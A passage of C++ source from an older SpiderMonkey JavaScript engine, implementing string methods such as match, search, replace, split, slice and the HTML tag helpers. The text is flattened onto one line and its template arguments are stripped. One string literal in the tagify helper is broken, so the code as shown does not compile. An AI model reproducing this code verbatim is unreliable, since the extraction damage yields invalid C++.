&i, type, rval)) return false; if (callbackOnSingle && Matched(type, *rval) && !callback(cx, res, 0, data)) return false; } return true; } static bool BuildFlatMatchArray(JSContext *cx, HandleString textstr, const FlatMatch &fm, CallArgs *args) { if (fm.match() < 0) { args->rval().setNull(); return true; } /* For this non-global match, produce a RegExp.exec-style array. */ RootedObject obj(cx, NewSlowEmptyArray(cx)); if (!obj) return false; RootedValue patternVal(cx, StringValue(fm.pattern())); RootedValue matchVal(cx, Int32Value(fm.match())); RootedValue textVal(cx, StringValue(textstr)); if (!JSObject::defineElement(cx, obj, 0, patternVal) || !JSObject::defineProperty(cx, obj, cx->runtime->atomState.indexAtom, matchVal) || !JSObject::defineProperty(cx, obj, cx->runtime->atomState.inputAtom, textVal)) { return false; } args->rval().setObject(*obj); return true; } typedef JSObject **MatchArgType; /* * DoMatch will only callback on global matches, hence this function builds * only the "array of matches" returned by match on global regexps. */ static bool MatchCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p) { JS_ASSERT(count <= JSID_INT_MAX); /* by max string length */ JSObject *&arrayobj = *static_cast(p); if (!arrayobj) { arrayobj = NewDenseEmptyArray(cx); if (!arrayobj) return false; } RootedObject obj(cx, arrayobj); RootedValue v(cx); return res->createLastMatch(cx, v.address()) && JSObject::defineElement(cx, obj, count, v); } JSBool js::str_match(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; StringRegExpGuard g(cx); if (!g.init(cx, args, true)) return false; if (const FlatMatch *fm = g.tryFlatMatch(cx, str, 1, args.length())) return BuildFlatMatchArray(cx, str, *fm, &args); /* Return if there was an error in tryFlatMatch. */ if (cx->isExceptionPending()) return false; if (!g.normalizeRegExp(cx, false, 1, args)) return false; RootedObject array(cx); MatchArgType arg = array.address(); RegExpStatics *res = cx->regExpStatics(); Value rval; if (!DoMatch(cx, res, str, g.regExp(), MatchCallback, arg, MATCH_ARGS, &rval)) return false; if (g.regExp().global()) args.rval().setObjectOrNull(array); else args.rval().set(rval); return true; } JSBool js::str_search(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; StringRegExpGuard g(cx); if (!g.init(cx, args, true)) return false; if (const FlatMatch *fm = g.tryFlatMatch(cx, str, 1, args.length())) { args.rval().setInt32(fm->match()); return true; } if (cx->isExceptionPending()) /* from tryFlatMatch */ return false; if (!g.normalizeRegExp(cx, false, 1, args)) return false; JSLinearString *linearStr = str->ensureLinear(cx); if (!linearStr) return false; const jschar *chars = linearStr->chars(); size_t length = linearStr->length(); RegExpStatics *res = cx->regExpStatics(); /* Per ECMAv5 15.5.4.12 (5) The last index property is ignored and left unchanged. */ size_t i = 0; Value result; if (!ExecuteRegExp(cx, res, g.regExp(), linearStr, chars, length, &i, RegExpTest, &result)) return false; if (result.isTrue()) args.rval().setInt32(res->matchStart()); else args.rval().setInt32(-1); return true; } struct ReplaceData { ReplaceData(JSContext *cx) : str(cx), g(cx), lambda(cx), elembase(cx), repstr(cx), dollarRoot(cx, &dollar), dollarEndRoot(cx, &dollarEnd), sb(cx) {} RootedString str; /* 'this' parameter object as a string */ StringRegExpGuard g; /* regexp parameter object and private data */ RootedObject lambda; /* replacement function object or null */ RootedObject elembase; /* object for function(a){return b[a]} replace */ Rooted repstr; /* replacement string */ const jschar *dollar; /* null or pointer to first $ in repstr */ const jschar *dollarEnd; /* limit pointer for js_strchr_limit */ SkipRoot dollarRoot; /* XXX prevent dollar from being relocated */ SkipRoot dollarEndRoot; /* ditto */ int leftIndex; /* left context index in str->chars */ JSSubString dollarStr; /* for "$$" InterpretDollar result */ bool calledBack; /* record whether callback has been called */ InvokeArgsGuard args; /* arguments for lambda call */ StringBuffer sb; /* buffer built during DoMatch */ }; static bool InterpretDollar(JSContext *cx, RegExpStatics *res, const jschar *dp, const jschar *ep, ReplaceData &rdata, JSSubString *out, size_t *skip) { JS_ASSERT(*dp == '$'); /* If there is only a dollar, bail now */ if (dp + 1 >= ep) return false; /* Interpret all Perl match-induced dollar variables. */ jschar dc = dp[1]; if (JS7_ISDEC(dc)) { /* ECMA-262 Edition 3: 1-9 or 01-99 */ unsigned num = JS7_UNDEC(dc); if (num > res->parenCount()) return false; const jschar *cp = dp + 2; if (cp < ep && (dc = *cp, JS7_ISDEC(dc))) { unsigned tmp = 10 * num + JS7_UNDEC(dc); if (tmp <= res->parenCount()) { cp++; num = tmp; } } if (num == 0) return false; *skip = cp - dp; JS_ASSERT(num <= res->parenCount()); /* * Note: we index to get the paren with the (1-indexed) pair * number, as opposed to a (0-indexed) paren number. */ res->getParen(num, out); return true; } *skip = 2; switch (dc) { case '$': rdata.dollarStr.chars = dp; rdata.dollarStr.length = 1; *out = rdata.dollarStr; return true; case '&': res->getLastMatch(out); return true; case '+': res->getLastParen(out); return true; case '`': res->getLeftContext(out); return true; case '\'': res->getRightContext(out); return true; } return false; } static bool FindReplaceLength(JSContext *cx, RegExpStatics *res, ReplaceData &rdata, size_t *sizep) { RootedObject base(cx, rdata.elembase); if (base) { /* * The base object is used when replace was passed a lambda which looks like * 'function(a) { return b[a]; }' for the base object b. b will not change * in the course of the replace unless we end up making a scripted call due * to accessing a scripted getter or a value with a scripted toString. */ JS_ASSERT(rdata.lambda); JS_ASSERT(!base->getOps()->lookupProperty); JS_ASSERT(!base->getOps()->getProperty); Value match; if (!res->createLastMatch(cx, &match)) return false; JSString *str = match.toString(); JSAtom *atom; if (str->isAtom()) { atom = &str->asAtom(); } else { atom = AtomizeString(cx, str); if (!atom) return false; } Value v; if (HasDataProperty(cx, base, AtomToId(atom), &v) && v.isString()) { rdata.repstr = v.toString()->ensureLinear(cx); if (!rdata.repstr) return false; *sizep = rdata.repstr->length(); return true; } /* * Couldn't handle this property, fall through and despecialize to the * general lambda case. */ rdata.elembase = NULL; } if (JSObject *lambda = rdata.lambda) { PreserveRegExpStatics staticsGuard(cx, res); if (!staticsGuard.init(cx)) return false; /* * In the lambda case, not only do we find the replacement string's * length, we compute repstr and return it via rdata for use within * DoReplace. The lambda is called with arguments ($&, $1, $2, ..., * index, input), i.e., all the properties of a regexp match array. * For $&, etc., we must create string jsvals from cx->regExpStatics. * We grab up stack space to keep the newborn strings GC-rooted. */ unsigned p = res->parenCount(); unsigned argc = 1 + p + 2; InvokeArgsGuard &args = rdata.args; if (!args.pushed() && !cx->stack.pushInvokeArgs(cx, argc, &args)) return false; args.setCallee(ObjectValue(*lambda)); args.setThis(UndefinedValue()); /* Push $&, $1, $2, ... */ unsigned argi = 0; if (!res->createLastMatch(cx, &args[argi++])) return false; for (size_t i = 0; i < res->parenCount(); ++i) { if (!res->createParen(cx, i + 1, &args[argi++])) return false; } /* Push match index and input string. */ args[argi++].setInt32(res->matchStart()); args[argi].setString(rdata.str); if (!Invoke(cx, args)) return false; /* root repstr: rdata is on the stack, so scanned by conservative gc. */ JSString *repstr = ToString(cx, args.rval()); if (!repstr) return false; rdata.repstr = repstr->ensureLinear(cx); if (!rdata.repstr) return false; *sizep = rdata.repstr->length(); return true; } JSString *repstr = rdata.repstr; CheckedInt replen = repstr->length(); for (const jschar *dp = rdata.dollar, *ep = rdata.dollarEnd; dp; dp = js_strchr_limit(dp, '$', ep)) { JSSubString sub; size_t skip; if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) { if (sub.length > skip) replen += sub.length - skip; else replen -= skip - sub.length; dp += skip; } else { dp++; } } if (!replen.isValid()) { js_ReportAllocationOverflow(cx); return false; } *sizep = replen.value(); return true; } /* * Precondition: |rdata.sb| already has necessary growth space reserved (as * derived from FindReplaceLength). */ static void DoReplace(JSContext *cx, RegExpStatics *res, ReplaceData &rdata) { JSLinearString *repstr = rdata.repstr; const jschar *cp; const jschar *bp = cp = repstr->chars(); const jschar *dp = rdata.dollar; const jschar *ep = rdata.dollarEnd; for (; dp; dp = js_strchr_limit(dp, '$', ep)) { /* Move one of the constant portions of the replacement value. */ size_t len = dp - cp; rdata.sb.infallibleAppend(cp, len); cp = dp; JSSubString sub; size_t skip; if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) { len = sub.length; rdata.sb.infallibleAppend(sub.chars, len); cp += skip; dp += skip; } else { dp++; } } rdata.sb.infallibleAppend(cp, repstr->length() - (cp - bp)); } static bool ReplaceRegExpCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p) { ReplaceData &rdata = *static_cast(p); rdata.calledBack = true; size_t leftoff = rdata.leftIndex; size_t leftlen = res->matchStart() - leftoff; rdata.leftIndex = res->matchLimit(); size_t replen = 0; /* silence 'unused' warning */ if (!FindReplaceLength(cx, res, rdata, &replen)) return false; CheckedInt newlen(rdata.sb.length()); newlen += leftlen; newlen += replen; if (!newlen.isValid()) { js_ReportAllocationOverflow(cx); return false; } if (!rdata.sb.reserve(newlen.value())) return false; JSLinearString &str = rdata.str->asLinear(); /* flattened for regexp */ const jschar *left = str.chars() + leftoff; rdata.sb.infallibleAppend(left, leftlen); /* skipped-over portion of the search value */ DoReplace(cx, res, rdata); return true; } static bool BuildFlatReplacement(JSContext *cx, HandleString textstr, HandleString repstr, const FlatMatch &fm, CallArgs *args) { RopeBuilder builder(cx); size_t match = fm.match(); size_t matchEnd = match + fm.patternLength(); if (textstr->isRope()) { /* * If we are replacing over a rope, avoid flattening it by iterating * through it, building a new rope. */ StringSegmentRange r(cx); if (!r.init(textstr)) return false; size_t pos = 0; while (!r.empty()) { RootedString str(cx, r.front()); size_t len = str->length(); size_t strEnd = pos + len; if (pos < matchEnd && strEnd > match) { /* * We need to special-case any part of the rope that overlaps * with the replacement string. */ if (match >= pos) { /* * If this part of the rope overlaps with the left side of * the pattern, then it must be the only one to overlap with * the first character in the pattern, so we include the * replacement string here. */ RootedString leftSide(cx, js_NewDependentString(cx, str, 0, match - pos)); if (!leftSide || !builder.append(leftSide) || !builder.append(repstr)) { return false; } } /* * If str runs off the end of the matched string, append the * last part of str. */ if (strEnd > matchEnd) { RootedString rightSide(cx, js_NewDependentString(cx, str, matchEnd - pos, strEnd - matchEnd)); if (!rightSide || !builder.append(rightSide)) return false; } } else { if (!builder.append(str)) return false; } pos += str->length(); if (!r.popFront()) return false; } } else { RootedString leftSide(cx, js_NewDependentString(cx, textstr, 0, match)); if (!leftSide) return false; RootedString rightSide(cx); rightSide = js_NewDependentString(cx, textstr, match + fm.patternLength(), textstr->length() - match - fm.patternLength()); if (!rightSide || !builder.append(leftSide) || !builder.append(repstr) || !builder.append(rightSide)) { return false; } } args->rval().setString(builder.result()); return true; } /* * Perform a linear-scan dollar substitution on the replacement text, * constructing a result string that looks like: * * newstring = string[:matchStart] + dollarSub(replaceValue) + string[matchLimit:] */ static inline bool BuildDollarReplacement(JSContext *cx, JSString *textstrArg, JSLinearString *repstr, const jschar *firstDollar, const FlatMatch &fm, CallArgs *args) { Rooted textstr(cx, textstrArg->ensureLinear(cx)); if (!textstr) return false; JS_ASSERT(repstr->chars() <= firstDollar && firstDollar < repstr->chars() + repstr->length()); size_t matchStart = fm.match(); size_t matchLimit = matchStart + fm.patternLength(); /* * Most probably: * * len(newstr) >= len(orig) - len(match) + len(replacement) * * Note that dollar vars _could_ make the resulting text smaller than this. */ StringBuffer newReplaceChars(cx); if (!newReplaceChars.reserve(textstr->length() - fm.patternLength() + repstr->length())) return false; /* Move the pre-dollar chunk in bulk. */ newReplaceChars.infallibleAppend(repstr->chars(), firstDollar); /* Move the rest char-by-char, interpreting dollars as we encounter them. */ #define ENSURE(__cond) if (!(__cond)) return false; const jschar *repstrLimit = repstr->chars() + repstr->length(); for (const jschar *it = firstDollar; it < repstrLimit; ++it) { if (*it != '$' || it == repstrLimit - 1) { ENSURE(newReplaceChars.append(*it)); continue; } switch (*(it + 1)) { case '$': /* Eat one of the dollars. */ ENSURE(newReplaceChars.append(*it)); break; case '&': ENSURE(newReplaceChars.append(textstr->chars() + matchStart, textstr->chars() + matchLimit)); break; case '`': ENSURE(newReplaceChars.append(textstr->chars(), textstr->chars() + matchStart)); break; case '\'': ENSURE(newReplaceChars.append(textstr->chars() + matchLimit, textstr->chars() + textstr->length())); break; default: /* The dollar we saw was not special (no matter what its mother told it). */ ENSURE(newReplaceChars.append(*it)); continue; } ++it; /* We always eat an extra char in the above switch. */ } RootedString leftSide(cx, js_NewDependentString(cx, textstr, 0, matchStart)); ENSURE(leftSide); RootedString newReplace(cx, newReplaceChars.finishString()); ENSURE(newReplace); JS_ASSERT(textstr->length() >= matchLimit); RootedString rightSide(cx, js_NewDependentString(cx, textstr, matchLimit, textstr->length() - matchLimit)); ENSURE(rightSide); RopeBuilder builder(cx); ENSURE(builder.append(leftSide) && builder.append(newReplace) && builder.append(rightSide)); #undef ENSURE args->rval().setString(builder.result()); return true; } static inline bool str_replace_regexp(JSContext *cx, CallArgs args, ReplaceData &rdata) { if (!rdata.g.normalizeRegExp(cx, true, 2, args)) return false; rdata.leftIndex = 0; rdata.calledBack = false; RegExpStatics *res = cx->regExpStatics(); RegExpShared &re = rdata.g.regExp(); Value tmp; if (!DoMatch(cx, res, rdata.str, re, ReplaceRegExpCallback, &rdata, REPLACE_ARGS, &tmp)) return false; if (!rdata.calledBack) { /* Didn't match, so the string is unmodified. */ args.rval().setString(rdata.str); return true; } JSSubString sub; res->getRightContext(&sub); if (!rdata.sb.append(sub.chars, sub.length)) return false; JSString *retstr = rdata.sb.finishString(); if (!retstr) return false; args.rval().setString(retstr); return true; } static inline bool str_replace_flat_lambda(JSContext *cx, CallArgs outerArgs, ReplaceData &rdata, const FlatMatch &fm) { JS_ASSERT(fm.match() >= 0); JSString *matchStr = js_NewDependentString(cx, rdata.str, fm.match(), fm.patternLength()); if (!matchStr) return false; /* lambda(matchStr, matchStart, textstr) */ static const uint32_t lambdaArgc = 3; if (!cx->stack.pushInvokeArgs(cx, lambdaArgc, &rdata.args)) return false; CallArgs &args = rdata.args; args.setCallee(ObjectValue(*rdata.lambda)); args.setThis(UndefinedValue()); Value *sp = args.array(); sp[0].setString(matchStr); sp[1].setInt32(fm.match()); sp[2].setString(rdata.str); if (!Invoke(cx, rdata.args)) return false; RootedString repstr(cx, ToString(cx, args.rval())); if (!repstr) return false; RootedString leftSide(cx, js_NewDependentString(cx, rdata.str, 0, fm.match())); if (!leftSide) return false; size_t matchLimit = fm.match() + fm.patternLength(); RootedString rightSide(cx, js_NewDependentString(cx, rdata.str, matchLimit, rdata.str->length() - matchLimit)); if (!rightSide) return false; RopeBuilder builder(cx); if (!(builder.append(leftSide) && builder.append(repstr) && builder.append(rightSide))) { return false; } outerArgs.rval().setString(builder.result()); return true; } static const uint32_t ReplaceOptArg = 2; /* * Pattern match the script to check if it is is indexing into a particular * object, e.g. 'function(a) { return b[a]; }'. Avoid calling the script in * such cases, which are used by javascript packers (particularly the popular * Dean Edwards packer) to efficiently encode large scripts. We only handle the * code patterns generated by such packers here. */ static JSObject * LambdaIsGetElem(JSObject &lambda, JSContext *cx) { if (!lambda.isFunction()) return NULL; JSFunction *fun = lambda.toFunction(); if (!fun->isInterpreted()) return NULL; JSScript *script = fun->script(); jsbytecode *pc = script->code; /* * JSOP_GETALIASEDVAR tells us exactly where to find the base object 'b'. * Rule out the (unlikely) possibility of a heavyweight function since it * would make our scope walk off by 1. */ if (JSOp(*pc) != JSOP_GETALIASEDVAR || fun->isHeavyweight()) return NULL; ScopeCoordinate sc(pc); ScopeObject *scope = &fun->environment()->asScope(); for (unsigned i = 0; i < sc.hops; ++i) scope = &scope->enclosingScope().asScope(); Value b = scope->aliasedVar(sc); pc += JSOP_GETALIASEDVAR_LENGTH; /* Look for 'a' to be the lambda's first argument. */ if (JSOp(*pc) != JSOP_GETARG || GET_SLOTNO(pc) != 0) return NULL; pc += JSOP_GETARG_LENGTH; /* 'b[a]' */ if (JSOp(*pc) != JSOP_GETELEM) return NULL; pc += JSOP_GETELEM_LENGTH; /* 'return b[a]' */ if (JSOp(*pc) != JSOP_RETURN) return NULL; /* 'b' must behave like a normal object. */ if (!b.isObject()) return NULL; JSObject &bobj = b.toObject(); Class *clasp = bobj.getClass(); if (!clasp->isNative() || clasp->ops.lookupProperty || clasp->ops.getProperty) return NULL; return &bobj; } JSBool js::str_replace(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); ReplaceData rdata(cx); rdata.str = ThisToStringForStringProto(cx, args); if (!rdata.str) return false; if (!rdata.g.init(cx, args)) return false; /* Extract replacement string/function. */ if (args.length() >= ReplaceOptArg && js_IsCallable(args[1])) { rdata.lambda = &args[1].toObject(); rdata.elembase = NULL; rdata.repstr = NULL; rdata.dollar = rdata.dollarEnd = NULL; if (JSObject *base = LambdaIsGetElem(*rdata.lambda, cx)) rdata.elembase = base; } else { rdata.lambda = NULL; rdata.elembase = NULL; rdata.repstr = ArgToRootedString(cx, args, 1); if (!rdata.repstr) return false; /* We're about to store pointers into the middle of our string. */ JSFixedString *fixed = rdata.repstr->ensureFixed(cx); if (!fixed) return false; rdata.dollarEnd = fixed->chars() + fixed->length(); rdata.dollar = js_strchr_limit(fixed->chars(), '$', rdata.dollarEnd); } /* * Unlike its |String.prototype| brethren, |replace| doesn't convert * its input to a regular expression. (Even if it contains metachars.) * * However, if the user invokes our (non-standard) |flags| argument * extension then we revert to creating a regular expression. Note that * this is observable behavior through the side-effect mutation of the * |RegExp| statics. */ const FlatMatch *fm = rdata.g.tryFlatMatch(cx, rdata.str, ReplaceOptArg, args.length(), false); if (!fm) { if (cx->isExceptionPending()) /* oom in RopeMatch in tryFlatMatch */ return false; return str_replace_regexp(cx, args, rdata); } if (fm->match() < 0) { args.rval().setString(rdata.str); return true; } if (rdata.lambda) return str_replace_flat_lambda(cx, args, rdata, *fm); /* * Note: we could optimize the text.length == pattern.length case if we wanted, * even in the presence of dollar metachars. */ if (rdata.dollar) return BuildDollarReplacement(cx, rdata.str, rdata.repstr, rdata.dollar, *fm, &args); return BuildFlatReplacement(cx, rdata.str, rdata.repstr, *fm, &args); } class SplitMatchResult { size_t endIndex_; size_t length_; public: void setFailure() { JS_STATIC_ASSERT(SIZE_MAX > JSString::MAX_LENGTH); endIndex_ = SIZE_MAX; } bool isFailure() const { return (endIndex_ == SIZE_MAX); } size_t endIndex() const { JS_ASSERT(!isFailure()); return endIndex_; } size_t length() const { JS_ASSERT(!isFailure()); return length_; } void setResult(size_t length, size_t endIndex) { length_ = length; endIndex_ = endIndex; } }; template static JSObject * SplitHelper(JSContext *cx, Handle str, uint32_t limit, const Matcher &splitMatch, Handle type) { size_t strLength = str->length(); SplitMatchResult result; /* Step 11. */ if (strLength == 0) { if (!splitMatch(cx, str, 0, &result)) return NULL; /* * NB: Unlike in the non-empty string case, it's perfectly fine * (indeed the spec requires it) if we match at the end of the * string. Thus these cases should hold: * * var a = "".split(""); * assertEq(a.length, 0); * var b = "".split(/.?/); * assertEq(b.length, 0); */ if (!result.isFailure()) return NewDenseEmptyArray(cx); RootedValue v(cx, StringValue(str)); return NewDenseCopiedArray(cx, 1, v.address()); } /* Step 12. */ size_t lastEndIndex = 0; size_t index = 0; /* Step 13. */ AutoValueVector splits(cx); while (index < strLength) { /* Step 13(a). */ if (!splitMatch(cx, str, index, &result)) return NULL; /* * Step 13(b). * * Our match algorithm differs from the spec in that it returns the * next index at which a match happens. If no match happens we're * done. * * But what if the match is at the end of the string (and the string is * not empty)? Per 13(c)(ii) this shouldn't be a match, so we have to * specially exclude it. Thus this case should hold: * * var a = "abc".split(/\b/); * assertEq(a.length, 1); * assertEq(a[0], "abc"); */ if (result.isFailure()) break; /* Step 13(c)(i). */ size_t sepLength = result.length(); size_t endIndex = result.endIndex(); if (sepLength == 0 && endIndex == strLength) break; /* Step 13(c)(ii). */ if (endIndex == lastEndIndex) { index++; continue; } /* Step 13(c)(iii). */ JS_ASSERT(lastEndIndex < endIndex); JS_ASSERT(sepLength <= strLength); JS_ASSERT(lastEndIndex + sepLength <= endIndex); /* Steps 13(c)(iii)(1-3). */ size_t subLength = size_t(endIndex - sepLength - lastEndIndex); JSString *sub = js_NewDependentString(cx, str, lastEndIndex, subLength); if (!sub || !splits.append(StringValue(sub))) return NULL; /* Step 13(c)(iii)(4). */ if (splits.length() == limit) return NewDenseCopiedArray(cx, splits.length(), splits.begin()); /* Step 13(c)(iii)(5). */ lastEndIndex = endIndex; /* Step 13(c)(iii)(6-7). */ if (Matcher::returnsCaptures) { RegExpStatics *res = cx->regExpStatics(); for (size_t i = 0; i < res->parenCount(); i++) { /* Steps 13(c)(iii)(7)(a-c). */ if (res->pairIsPresent(i + 1)) { JSSubString parsub; res->getParen(i + 1, &parsub); sub = js_NewStringCopyN(cx, parsub.chars, parsub.length); if (!sub || !splits.append(StringValue(sub))) return NULL; } else { /* Only string entries have been accounted for so far. */ AddTypeProperty(cx, type, NULL, UndefinedValue()); if (!splits.append(UndefinedValue())) return NULL; } /* Step 13(c)(iii)(7)(d). */ if (splits.length() == limit) return NewDenseCopiedArray(cx, splits.length(), splits.begin()); } } /* Step 13(c)(iii)(8). */ index = lastEndIndex; } /* Steps 14-15. */ JSString *sub = js_NewDependentString(cx, str, lastEndIndex, strLength - lastEndIndex); if (!sub || !splits.append(StringValue(sub))) return NULL; /* Step 16. */ return NewDenseCopiedArray(cx, splits.length(), splits.begin()); } /* * The SplitMatch operation from ES5 15.5.4.14 is implemented using different * paths for regular expression and string separators. * * The algorithm differs from the spec in that the we return the next index at * which a match happens. */ class SplitRegExpMatcher { RegExpShared &re; RegExpStatics *res; public: SplitRegExpMatcher(RegExpShared &re, RegExpStatics *res) : re(re), res(res) {} static const bool returnsCaptures = true; bool operator()(JSContext *cx, JSLinearString *str, size_t index, SplitMatchResult *result) const { Value rval = UndefinedValue(); const jschar *chars = str->chars(); size_t length = str->length(); if (!ExecuteRegExp(cx, res, re, str, chars, length, &index, RegExpTest, &rval)) return false; if (!rval.isTrue()) { result->setFailure(); return true; } JSSubString sep; res->getLastMatch(&sep); result->setResult(sep.length, index); return true; } }; class SplitStringMatcher { Rooted sep; public: SplitStringMatcher(JSContext *cx, JSLinearString *sep) : sep(cx, sep) {} static const bool returnsCaptures = false; bool operator()(JSContext *cx, JSLinearString *str, size_t index, SplitMatchResult *res) const { JS_ASSERT(index == 0 || index < str->length()); const jschar *chars = str->chars(); int match = StringMatch(chars + index, str->length() - index, sep->chars(), sep->length()); if (match == -1) res->setFailure(); else res->setResult(sep->length(), index + match + sep->length()); return true; } }; /* ES5 15.5.4.14 */ JSBool js::str_split(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); /* Steps 1-2. */ RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; RootedTypeObject type(cx, GetTypeCallerInitObject(cx, JSProto_Array)); if (!type) return false; AddTypeProperty(cx, type, NULL, Type::StringType()); /* Step 5: Use the second argument as the split limit, if given. */ uint32_t limit; if (args.hasDefined(1)) { double d; if (!ToNumber(cx, args[1], &d)) return false; limit = ToUint32(d); } else { limit = UINT32_MAX; } /* Step 8. */ RegExpGuard re; JSLinearString *sepstr = NULL; bool sepDefined = args.hasDefined(0); if (sepDefined) { if (IsObjectWithClass(args[0], ESClass_RegExp, cx)) { if (!RegExpToShared(cx, args[0].toObject(), &re)) return false; } else { sepstr = ArgToRootedString(cx, args, 0); if (!sepstr) return false; } } /* Step 9. */ if (limit == 0) { JSObject *aobj = NewDenseEmptyArray(cx); if (!aobj) return false; aobj->setType(type); args.rval().setObject(*aobj); return true; } /* Step 10. */ if (!sepDefined) { Value v = StringValue(str); JSObject *aobj = NewDenseCopiedArray(cx, 1, &v); if (!aobj) return false; aobj->setType(type); args.rval().setObject(*aobj); return true; } Rooted strlin(cx, str->ensureLinear(cx)); if (!strlin) return false; /* Steps 11-15. */ JSObject *aobj; if (!re.initialized()) { SplitStringMatcher matcher(cx, sepstr); aobj = SplitHelper(cx, strlin, limit, matcher, type); } else { SplitRegExpMatcher matcher(*re, cx->regExpStatics()); aobj = SplitHelper(cx, strlin, limit, matcher, type); } if (!aobj) return false; /* Step 16. */ aobj->setType(type); args.rval().setObject(*aobj); return true; } static JSBool str_substr(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; int32_t length, len, begin; if (args.length() > 0) { length = int32_t(str->length()); if (!ValueToIntegerRange(cx, args[0], &begin)) return false; if (begin >= length) { str = cx->runtime->emptyString; goto out; } if (begin < 0) { begin += length; /* length + INT_MIN will always be less than 0 */ if (begin < 0) begin = 0; } if (args.hasDefined(1)) { if (!ValueToIntegerRange(cx, args[1], &len)) return false; if (len <= 0) { str = cx->runtime->emptyString; goto out; } if (uint32_t(length) < uint32_t(begin + len)) len = length - begin; } else { len = length - begin; } str = js_NewDependentString(cx, str, size_t(begin), size_t(len)); if (!str) return false; } out: args.rval().setString(str); return true; } /* * Python-esque sequence operations. */ static JSBool str_concat(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; for (unsigned i = 0; i < args.length(); i++) { RootedString argStr(cx, ToString(cx, args[i])); if (!argStr) return false; str = js_ConcatStrings(cx, str, argStr); if (!str) return false; } args.rval().setString(str); return true; } static JSBool str_slice(JSContext *cx, unsigned argc, Value *vp) { CallArgs args = CallArgsFromVp(argc, vp); if (args.length() == 1 && args.thisv().isString() && args[0].isInt32()) { size_t begin, end, length; JSString *str = args.thisv().toString(); begin = args[0].toInt32(); end = str->length(); if (begin <= end) { length = end - begin; if (length == 0) { str = cx->runtime->emptyString; } else { str = (length == 1) ? cx->runtime->staticStrings.getUnitStringForElement(cx, str, begin) : js_NewDependentString(cx, str, begin, length); if (!str) return false; } args.rval().setString(str); return true; } } RootedString str(cx, ThisToStringForStringProto(cx, args)); if (!str) return false; if (args.length() != 0) { double begin, end, length; if (!ToInteger(cx, args[0], &begin)) return false; length = str->length(); if (begin < 0) { begin += length; if (begin < 0) begin = 0; } else if (begin > length) { begin = length; } if (args.hasDefined(1)) { if (!ToInteger(cx, args[1], &end)) return false; if (end < 0) { end += length; if (end < 0) end = 0; } else if (end > length) { end = length; } if (end < begin) end = begin; } else { end = length; } str = js_NewDependentString(cx, str, (size_t)begin, (size_t)(end - begin)); if (!str) return false; } args.rval().setString(str); return true; } #if JS_HAS_STR_HTML_HELPERS /* * HTML composition aids. */ static bool tagify(JSContext *cx, const char *begin, JSLinearString *param, const char *end, CallReceiver call) { JSString *thisstr = ThisToStringForStringProto(cx, call); if (!thisstr) return false; JSLinearString *str = thisstr->ensureLinear(cx); if (!str) return false; if (!end) end = begin; size_t beglen = strlen(begin); size_t taglen = 1 + beglen + 1; /* '' */ if (param) { size_t numChars = param->length(); const jschar *parchars = param->chars(); for (size_t i = 0, parlen = numChars; i < parlen; ++i) { if (parchars[i] == '"') numChars += 5; /* len(") - len(") */ } taglen += 2 + numChars + 1; /* '="param"' */ } size_t endlen = strlen(end); taglen += str->length() + 2 + endlen + 1; /* 'str' */ StringBuffer sb(cx); if (!sb.reserve(taglen)) return false; sb.infallibleAppend('<'); MOZ_ALWAYS_TRUE(sb.appendInflated(begin, beglen)); if (param) { sb.infallibleAppend('='); sb.infallibleAppend('"'); const jschar *parchars = param->chars(); for (size_t i = 0, parlen = param->length(); i < parlen; ++i) { if (parchars[i] != '"') { sb.infallibleAppend(parchars[i]); } else { MOZ_ALWAYS_TRUE(sb.append(""")); } } sb.infallibleAppend('"'); } sb.infallibleAppend('>'); MOZ_ALWAYS_TRUE(sb.append(str)); sb.infallibleAppend('<'); sb.infallibleAppend('/'); MOZ_ALWAYS_TRUE(sb.appendInflated(end, endlen)); sb.infallibleAppend('>'); JSFixedString *retstr = sb.finishString(); if (!retstr) return false; call.rval().setString(retstr); return true; } static JSBool tagify_value(JSContext *cx, CallArgs args, const char *begin, const char *end) { JSLinearString *param = ArgToRootedString(cx, args, 0); if (!param) return false; return tagify(cx, begin, param, end, args); } static JSBool str_bold(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "b", NULL, NULL, CallReceiverFromVp(vp)); } static JSBool str_italics(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "i", NULL, NULL, CallReceiverFromVp(vp)); } static JSBool str_fixed(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "tt", NULL, NULL, CallReceiverFromVp(vp)); } static JSBool str_fontsize(JSContext *cx, unsigned argc, Value *vp) { return tagify_value(cx, CallArgsFromVp(argc, vp), "font size", "font"); } static JSBool str_fontcolor(JSContext *cx, unsigned argc, Value *vp) { return tagify_value(cx, CallArgsFromVp(argc, vp), "font color", "font"); } static JSBool str_link(JSContext *cx, unsigned argc, Value *vp) { return tagify_value(cx, CallArgsFromVp(argc, vp), "a href", "a"); } static JSBool str_anchor(JSContext *cx, unsigned argc, Value *vp) { return tagify_value(cx, CallArgsFromVp(argc, vp), "a name", "a"); } static JSBool str_strike(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "strike", NULL, NULL, CallReceiverFromVp(vp)); } static JSBool str_small(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "small", NULL, NULL, CallReceiverFromVp(vp)); } static JSBool str_big(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "big", NULL, NULL, CallReceiverFromVp(vp)); } static JSBool str_blink(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "blink", NULL, NULL, CallReceiverFromVp(vp)); } static JSBool str_sup(JSContext *cx, unsigned argc, Value *vp) { return tagify(cx, "sup", NULL, NULL, 